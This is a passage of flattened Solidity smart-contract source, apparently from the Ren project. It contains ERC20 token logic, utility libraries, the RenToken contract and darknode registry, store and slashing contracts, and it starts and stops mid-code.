public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } /** * @title Math * @dev Assorted math operations */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Calculates the average of two numbers. Since these are integers, * averages of an even and odd number cannot be represented, and will be * rounded down. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /// @notice Implements safeTransfer, safeTransferFrom and /// safeApprove for CompatibleERC20. /// /// See https://github.com/ethereum/solidity/issues/4116 /// /// This library allows interacting with ERC20 tokens that implement any of /// these interfaces: /// /// (1) transfer returns true on success, false on failure /// (2) transfer returns true on success, reverts on failure /// (3) transfer returns nothing on success, reverts on failure /// /// Additionally, safeTransferFromWithFees will return the final token /// value received after accounting for token fees. library CompatibleERC20Functions { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /// @notice Calls transferFrom on the token, reverts if the call fails and /// returns the value transferred after fees. function safeTransferFromWithFees(IERC20 token, address from, address to, uint256 value) internal returns (uint256) { uint256 balancesBefore = token.balanceOf(to); callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); require(previousReturnValue(), "transferFrom failed"); uint256 balancesAfter = token.balanceOf(to); return Math.min(value, balancesAfter.sub(balancesBefore)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require((value == 0) || (token.allowance(address(this), spender) == 0)); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must equal true). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. require(address(token).isContract()); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool))); } } /// @notice Checks the return value of the previous function. Returns true /// if the previous function returned 32 non-zero bytes or returned zero /// bytes. function previousReturnValue() private pure returns (bool) { uint256 returnData = 0; assembly { /* solium-disable-line security/no-inline-assembly */ // Switch on the number of bytes returned by the previous call switch returndatasize // 0 bytes: ERC20 of type (3), did not throw case 0 { returnData := 1 } // 32 bytes: ERC20 of types (1) or (2) case 32 { // Copy the return data into scratch space returndatacopy(0, 0, 32) // Load the return data into returnData returnData := mload(0) } // Other return size: return false default { } } return returnData != 0; } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } /** * @title Pausable token * @dev ERC20 modified with pausable transfers. */ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract RenToken is Ownable, ERC20Detailed, ERC20Pausable, ERC20Burnable { string private constant _name = "Republic Token"; string private constant _symbol = "REN"; uint8 private constant _decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * 10**uint256(_decimals); /// @notice The RenToken Constructor. constructor() ERC20Burnable() ERC20Pausable() ERC20Detailed(_name, _symbol, _decimals) public { _mint(msg.sender, INITIAL_SUPPLY); } function transferTokens(address beneficiary, uint256 amount) public onlyOwner returns (bool) { /* solium-disable error-reason */ require(amount > 0); _transfer(msg.sender, beneficiary, amount); emit Transfer(msg.sender, beneficiary, amount); return true; } } /// @notice DarknodeSlasher will become a voting system for darknodes to /// deregister other misbehaving darknodes. /// Right now, it is a placeholder. contract DarknodeSlasher is Ownable { DarknodeRegistry public darknodeRegistry; constructor(DarknodeRegistry _darknodeRegistry) public { darknodeRegistry = _darknodeRegistry; } function slash(address _prover, address _challenger1, address _challenger2) external onlyOwner { darknodeRegistry.slash(_prover, _challenger1, _challenger2); } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable { address private _pendingOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == _pendingOwner); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { _pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(_owner, _pendingOwner); _owner = _pendingOwner; _pendingOwner = address(0); } } /** * @notice LinkedList is a library for a circular double linked list. */ library LinkedList { /* * @notice A permanent NULL node (0x0) in the circular double linked list. * NULL.next is the head, and NULL.previous is the tail. */ address public constant NULL = address(0); /** * @notice A node points to the node before it, and the node after it. If * node.previous = NULL, then the node is the head of the list. If * node.next = NULL, then the node is the tail of the list. */ struct Node { bool inList; address previous; address next; } /** * @notice LinkedList uses a mapping from address to nodes. Each address * uniquely identifies a node, and in this way they are used like pointers. */ struct List { mapping (address => Node) list; } /** * @notice Insert a new node before an existing node. * * @param self The list being used. * @param target The existing node in the list. * @param newNode The next node to insert before the target. */ function insertBefore(List storage self, address target, address newNode) internal { require(!isInList(self, newNode), "already in list"); require(isInList(self, target) || target == NULL, "not in list"); // It is expected that this value is sometimes NULL. address prev = self.list[target].previous; self.list[newNode].next = target; self.list[newNode].previous = prev; self.list[target].previous = newNode; self.list[prev].next = newNode; self.list[newNode].inList = true; } /** * @notice Insert a new node after an existing node. * * @param self The list being used. * @param target The existing node in the list. * @param newNode The next node to insert after the target. */ function insertAfter(List storage self, address target, address newNode) internal { require(!isInList(self, newNode), "already in list"); require(isInList(self, target) || target == NULL, "not in list"); // It is expected that this value is sometimes NULL. address n = self.list[target].next; self.list[newNode].previous = target; self.list[newNode].next = n; self.list[target].next = newNode; self.list[n].previous = newNode; self.list[newNode].inList = true; } /** * @notice Remove a node from the list, and fix the previous and next * pointers that are pointing to the removed node. Removing anode that is not * in the list will do nothing. * * @param self The list being using. * @param node The node in the list to be removed. */ function remove(List storage self, address node) internal { require(isInList(self, node), "not in list"); if (node == NULL) { return; } address p = self.list[node].previous; address n = self.list[node].next; self.list[p].next = n; self.list[n].previous = p; // Deleting the node should set this value to false, but we set it here for // explicitness. self.list[node].inList = false; delete self.list[node]; } /** * @notice Insert a node at the beginning of the list. * * @param self The list being used. * @param node The node to insert at the beginning of the list. */ function prepend(List storage self, address node) internal { // isInList(node) is checked in insertBefore insertBefore(self, begin(self), node); } /** * @notice Insert a node at the end of the list. * * @param self The list being used. * @param node The node to insert at the end of the list. */ function append(List storage self, address node) internal { // isInList(node) is checked in insertBefore insertAfter(self, end(self), node); } function swap(List storage self, address left, address right) internal { // isInList(left) and isInList(right) are checked in remove address previousRight = self.list[right].previous; remove(self, right); insertAfter(self, left, right); remove(self, left); insertAfter(self, previousRight, left); } function isInList(List storage self, address node) internal view returns (bool) { return self.list[node].inList; } /** * @notice Get the node at the beginning of a double linked list. * * @param self The list being used. * * @return A address identifying the node at the beginning of the double * linked list. */ function begin(List storage self) internal view returns (address) { return self.list[NULL].next; } /** * @notice Get the node at the end of a double linked list. * * @param self The list being used. * * @return A address identifying the node at the end of the double linked * list. */ function end(List storage self) internal view returns (address) { return self.list[NULL].previous; } function next(List storage self, address node) internal view returns (address) { require(isInList(self, node), "not in list"); return self.list[node].next; } function previous(List storage self, address node) internal view returns (address) { require(isInList(self, node), "not in list"); return self.list[node].previous; } } /// @notice This contract stores data and funds for the DarknodeRegistry /// contract. The data / fund logic and storage have been separated to improve /// upgradability. contract DarknodeRegistryStore is Claimable { using SafeMath for uint256; string public VERSION; // Passed in as a constructor parameter. /// @notice Darknodes are stored in the darknode struct. The owner is the /// address that registered the darknode, the bond is the amount of REN that /// was transferred during registration, and the public key is the /// encryption key that should be used when sending sensitive information to /// the darknode. struct Darknode { // The owner of a Darknode is the address that called the register // function. The owner is the only address that is allowed to // deregister the Darknode, unless the Darknode is slashed for // malicious behavior. address payable owner; // The bond is the amount of REN submitted as a bond by the Darknode. // This amount is reduced when the Darknode is slashed for malicious // behavior. uint256 bond; // The block number at which the Darknode is considered registered. uint256 registeredAt; // The block number at which the Darknode is considered deregistered. uint256 deregisteredAt; // The public key used by this Darknode for encrypting sensitive data // off chain. It is assumed that the Darknode has access to the // respective private key, and that there is an agreement on the format // of the public key. bytes publicKey; } /// Registry data. mapping(address => Darknode) private darknodeRegistry; LinkedList.List private darknodes; // RenToken. RenToken public ren; /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _ren The address of the RenToken contract. constructor( string memory _VERSION, RenToken _ren ) public { VERSION = _VERSION; ren = _ren; } /// @notice Instantiates a darknode and appends it to the darknodes /// linked-list. /// /// @param _darknodeID The darknode's ID. /// @param _darknodeOwner The darknode's owner's address /// @param _bond The darknode's bond value /// @param _publicKey The darknode's public key /// @param _registeredAt The time stamp when the darknode is registered. /// @param _deregisteredAt The time stamp when the darknode is deregistered. function appendDarknode( address _darknodeID, address payable _darknodeOwner, uint256 _bond, bytes calldata _publicKey, uint256 _registeredAt, uint256 _deregisteredAt ) external onlyOwner { Darknode memory darknode = Darknode({ owner: _darknodeOwner, bond: _bond, publicKey: _publicKey, registeredAt: _registeredAt, deregisteredAt: _deregisteredAt }); darknodeRegistry[_darknodeID] = darknode; LinkedList.append(darknodes, _darknodeID); } /// @notice Returns the address of the first darknode in the store function begin() external view onlyOwner returns(address) { return LinkedList.begin(darknodes); } /// @notice Returns the address of the next darknode in the store after the /// given address. function next(address darknodeID) external view onlyOwner returns(address) { return LinkedList.next(darknodes, darknodeID); } /// @notice Removes a darknode from the store and transfers its bond to the /// owner of this contract. function removeDarknode(address darknodeID) external onlyOwner { uint256 bond = darknodeRegistry[darknodeID].bond; delete darknodeRegistry[darknodeID]; LinkedList.remove(darknodes, darknodeID); require(ren.transfer(owner(), bond), "bond transfer failed"); } /// @notice Updates the bond of a darknode. The new bond must be smaller /// than the previous bond of the darknode. function updateDarknodeBond(address darknodeID, uint256 decreasedBond) external onlyOwner { uint256 previousBond = darknodeRegistry[darknodeID].bond; require(decreasedBond < previousBond, "bond not decreased"); darknodeRegistry[darknodeID].bond = decreasedBond; require(ren.transfer(owner(), previousBond.sub(decreasedBond)), "bond transfer failed"); } /// @notice Updates the deregistration timestamp of a darknode. function updateDarknodeDeregisteredAt(address darknodeID, uint256 deregisteredAt) external onlyOwner { darknodeRegistry[darknodeID].deregisteredAt = deregisteredAt; } /// @notice Returns the owner of a given darknode. function darknodeOwner(address darknodeID) external view onlyOwner returns (address payable) { return darknodeRegistry[darknodeID].owner; } /// @notice Returns the bond of a given darknode. function darknodeBond(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].bond; } /// @notice Returns the registration time of a given darknode. function darknodeRegisteredAt(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].registeredAt; } /// @notice Returns the deregistration time of a given darknode. function darknodeDeregisteredAt(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].deregisteredAt; } /// @notice Returns the encryption public key of a given darknode. function darknodePublicKey(address darknodeID) external view onlyOwner returns (bytes memory) { return darknodeRegistry[darknodeID].publicKey; } } /// @notice DarknodeRegistry is responsible for the registration and /// deregistration of Darknodes. contract DarknodeRegistry is Ownable { using SafeMath for uint256; string public VERSION; // Passed in as a constructor parameter. /// @notice Darknode pods are shuffled after a fixed number of blocks. /// An Epoch stores an epoch hash used as an (insecure) RNG seed, and the /// blocknumber which restricts when the next epoch can be called. struct Epoch { uint256 epochhash; uint256 blocknumber; } uint256 public numDarknodes; uint256 public numDarknodesNextEpoch; uint256 public numDarknodesPreviousEpoch; /// Variables used to parameterize behavior. uint256 public minimumBond; uint256 public minimumPodSize; uint256 public minimumEpochInterval; /// When one of the above variables is modified, it is only updated when the /// next epoch is called. These variables store the values for the next epoch. uint256 public nextMinimumBond; uint256 public nextMinimumPodSize; uint256 public nextMinimumEpochInterval; /// The current and previous epoch Epoch public currentEpoch; Epoch public previousEpoch; /// Republic ERC20 token contract used to transfer bonds. RenToken public ren; /// Darknode Registry Store is the storage contract for darknodes. DarknodeRegistryStore public store; /// Darknode Slasher allows darknodes to vote on bond slashing. DarknodeSlasher public slasher; DarknodeSlasher public nextSlasher; /// @notice Emitted when a darknode is registered. /// @param _darknodeID The darknode ID that was registered. /// @param _bond The amount of REN that was transferred as bond. event LogDarknodeRegistered(address indexed _darknodeID, uint256 _bond); /// @notice Emitted when a darknode is deregistered. /// @param _darknodeID The darknode ID that was deregistered. event LogDarknodeDeregistered(address indexed _darknodeID); /// @notice Emitted when a refund has been made. /// @param _owner The address that was refunded. /// @param _amount The amount of REN that was refunded. event LogDarknodeOwnerRefunded(address indexed _owner, uint256 _amount); /// @notice Emitted when a new epoch has begun. event LogNewEpoch(uint256 indexed epochhash); /// @notice Emitted when a constructor parameter has been updated. event LogMinimumBondUpdated(uint256 previousMinimumBond, uint256 nextMinimumBond); event LogMinimumPodSizeUpdated(uint256 previousMinimumPodSize, uint256 nextMinimumPodSize); event LogMinimumEpochIntervalUpdated(uint256 previousMinimumEpochInterval, uint256 nextMinimumEpochInterval); event LogSlasherUpdated(address previousSlasher, address nextSlasher); /// @notice Only allow the owner that registered the darknode to pass. modifier onlyDarknodeOwner(address _darknodeID) { require(store.darknodeOwner(_darknodeID) == msg.sender, "must be darknode owner"); _; } /// @notice Only allow unregistered darknodes. modifier onlyRefunded(address _darknodeID) { require(isRefunded(_darknodeID), "must be refunded or never registered"); _; } /// @notice Only allow refundable darknodes. modifier onlyRefundable(address _darknodeID) { require(isRefundable(_darknodeID), "must be deregistered for at least one epoch"); _; } /// @notice Only allowed registered nodes without a pending deregistration to /// deregister modifier onlyDeregisterable(address _darknodeID) { require(isDeregisterable(_darknodeID), "must be deregisterable"); _; } /// @notice Only allow the Slasher contract. modifier onlySlasher() { require(address(slasher) == msg.sender, "must be slasher"); _; } /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _renAddress The address of the RenToken contract. /// @param _storeAddress The address of the DarknodeRegistryStore contract. /// @param _minimumBond The minimum bond amount that can be submitted by a /// Darknode. /// @param _minimumPodSize The minimum size of a Darknode pod. /// @param _minimumEpochInterval The minimum number of blocks between /// epochs. constructor( string memory _VERSION, RenToken _renAddress, DarknodeRegistryStore _storeAddress, uint256 _minimumBond, uint256 _minimumPodSize, uint256 _minimumEpochInterval ) public { VERSION = _VERSION; store = _storeAddress; ren = _renAddress; minimumBond = _minimumBond; nextMinimumBond = minimumBond; minimumPodSize = _minimumPodSize; nextMinimumPodSize = minimumPodSize; minimumEpochInterval = _minimumEpochInterval; nextMinimumEpochInterval = minimumEpochInterval; currentEpoch = Epoch({ epochhash: uint256(blockhash(block.number - 1)), blocknumber: block.number }); numDarknodes = 0; numDarknodesNextEpoch = 0; numDarknodesPreviousEpoch = 0; } /// @notice Register a darknode and transfer the bond to this contract. /// Before registering, the bond transfer must be approved in the REN /// contract. The caller must provide a public encryption key for the /// darknode. The darknode will remain pending registration until the next /// epoch. Only after this period can the darknode be deregistered. The /// caller of this method will be stored as the owner of the darknode. /// /// @param _darknodeID The darknode ID that will be registered. /// @param _publicKey The public key of the darknode. It is stored to allow /// other darknodes and traders to encrypt messages to the trader. function register(address _darknodeID, bytes calldata _publicKey) external onlyRefunded(_darknodeID) { // Use the current minimum bond as the darknode's bond. uint256 bond = minimumBond; // Transfer bond to store require(ren.transferFrom(msg.sender, address(store), bond), "bond transfer failed"); // Flag this darknode for registration store.appendDarknode( _darknodeID, msg.sender, bond, _publicKey, currentEpoch.blocknumber.add(minimumEpochInterval), 0 ); numDarknodesNextEpoch = numDarknodesNextEpoch.add(1); // Emit an event. emit LogDarknodeRegistered(_darknodeID, bond); } /// @notice Deregister a darknode. The darknode will not be deregistered /// until the end of the epoch. After another epoch, the bond can be /// refunded by calling the refund method. /// @param _darknodeID The darknode ID that will be deregistered. The caller /// of this method store.darknodeRegisteredAt(_darknodeID) must be // the owner of this darknode. function deregister(address _darknodeID) external onlyDeregisterable(_darknodeID) onlyDarknodeOwner(_darknodeID) { deregisterDarknode(_darknodeID); } /// @notice Progress the epoch if it is possible to do so. This captures /// the current timestamp and current blockhash and overrides the current /// epoch. function epoch() external { if (previousEpoch.blocknumber == 0) { // The first epoch must be called by the owner of the contract require(msg.sender == owner(), "not authorized (first epochs)"); } // Require that the epoch interval has passed require(block.number >= currentEpoch.blocknumber.add(minimumEpochInterval), "epoch interval has not passed"); uint256 epochhash = uint256(blockhash(block.number - 1)); // Update the epoch hash and timestamp previousEpoch = currentEpoch; currentEpoch = Epoch({ epochhash: epochhash, blocknumber: block.number }); // Update the registry information numDarknodesPreviousEpoch = numDarknodes; numDarknodes = numDarknodesNextEpoch; // If any update functions have been called, update the values now if (nextMinimumBond != minimumBond) { minimumBond = nextMinimumBond; emit LogMinimumBondUpdated(minimumBond, nextMinimumBond); } if (nextMinimumPodSize != minimumPodSize) { minimumPodSize = nextMinimumPodSize; emit LogMinimumPodSizeUpdated(minimumPodSize, nextMinimumPodSize); } if (nextMinimumEpochInterval != minimumEpochInterval) { minimumEpochInterval = nextMinimumEpochInterval; emit LogMinimumEpochIntervalUpdated(minimumEpochInterval, nextMinimumEpochInterval); } if (nextSlasher != slasher) { slasher = nextSlasher; emit LogSlasherUpdated(address(slasher), address(nextSlasher)); } // Emit an event emit LogNewEpoch(epochhash); } /// @notice Allows the contract owner to initiate an ownership transfer of /// the DarknodeRegistryStore. /// @param _newOwner The address to transfer the ownership to. function transferStoreOwnership(address _newOwner) external onlyOwner { store.transferOwnership(_newOwner); } /// @notice Claims ownership of the store passed in to the constructor. /// `transferStoreOwnership` must have previously been called when /// transferring from another Darknode Registry. function claimStoreOwnership() external onlyOwner { store.claimOwnership(); } /// @notice Allows the contract owner to update the minimum bond. /// @param _nextMinimumBond The minimum bond amount that can be submitted by /// a darknode. function updateMinimumBond(uint256 _nextMinimumBond) external onlyOwner { // Will be updated next epoch nextMinimumBond = _nextMinimumBond; } /// @notice Allows the contract owner to update the minimum pod size. /// @param _nextMinimumPodSize The minimum size of a pod. function updateMinimumPodSize(uint256 _nextMinimumPodSize) external onlyOwner { // Will be updated next epoch nextMinimumPodSize = _nextMinimumPodSize; } /// @notice Allows the contract owner to update the minimum epoch interval. /// @param _nextMinimumEpochInterval The minimum number of blocks between epochs. function updateMinimumEpochInterval(uint256 _nextMinimumEpochInterval) external onlyOwner { // Will be updated next epoch nextMinimumEpochInterval = _nextMinimumEpochInterval; } /// @notice Allow the contract owner to update the DarknodeSlasher contract /// address. /// @param _slasher The new slasher address. function updateSlasher(DarknodeSlasher _slasher) external onlyOwner { require(address(_slasher) != address(0), "invalid slasher address"); nextSlasher = _slasher; } /// @notice Allow the DarknodeSlasher contract to slash half of a darknode's /// bond and deregister it. The bond is distributed as follows: /// 1/2 is kept by the guilty prover /// 1/8 is rewarded to the first challenger /// 1/8 is rewarded to the second challenger /// 1/4 becomes unassigned /// @param _prover The guilty prover whose bond is being slashed /// @param _challenger1 The first of the two darknodes who submitted the challenge /// @param _challenger2 The second of the two darknodes who submitted the challenge function slash(address _prover, address _challenger1, address _challenger2) external onlySlasher { uint256 penalty = store.darknodeBond(_prover) / 2; uint256 reward = penalty / 4; // Slash the bond of the failed prover in half store.updateDarknodeBond(_prover, penalty); // If the darknode has not been deregistered then deregister it if (isDeregisterable(_prover)) { deregisterDarknode(_prover); } // Reward the challengers with less than the penalty so that it is not // worth challenging yourself require(ren.transfer(store.darknodeOwner(_challenger1), reward), "reward transfer failed"); require(ren.transfer(store.darknodeOwner(_challenger2), reward), "reward transfer failed"); } /// @notice Refund the bond of a deregistered darknode. This will make the /// darknode available for registration again. Anyone can call this function /// but the bond will always be refunded to the darknode owner. /// /// @param _darknodeID The darknode ID that will be refunded. The caller /// of this method must be the owner of this darknode. function refund(address _darknodeID) external onlyRefundable(_darknodeID) { address darknodeOwner = store.darknodeOwner(_darknodeID); // Remember the bond amount uint256 amount = store.darknodeBond(_darknodeID); // Erase the darknode from the registry store.removeDarknode(_darknodeID); // Refund the owner by transferring REN require(ren.transfer(darknodeOwner, amount), "bond transfer failed"); // Emit an event. emit LogDarknodeOwnerRefunded(darknodeOwner, amount); } /// @notice Retrieves the address of the account that registered a darknode. /// @param _darknodeID The ID of the darknode to retrieve the owner for. function getDarknodeOwner(address _darknodeID) external view returns (address payable) { return store.darknodeOwner(_darknodeID); } /// @notice Retrieves the bond amount of a darknode in 10^-18 REN. /// @param _darknodeID The ID of the darknode to retrieve the bond for. function getDarknodeBond(address _darknodeID) external view returns (uint256) { return store.darknodeBond(_darknodeID); } /// @notice Retrieves the encryption public key of the darknode. /// @param _darknodeID The ID of the darknode to retrieve the public key for. function getDarknodePublicKey(address _darknodeID) external view returns (bytes memory) { return store.darknodePublicKey(_darknodeID); } /// @notice Retrieves a list of darknodes which are registered for the /// current epoch. /// @param _start A darknode ID used as an offset for the list. If _start is /// 0x0, the first dark node will be 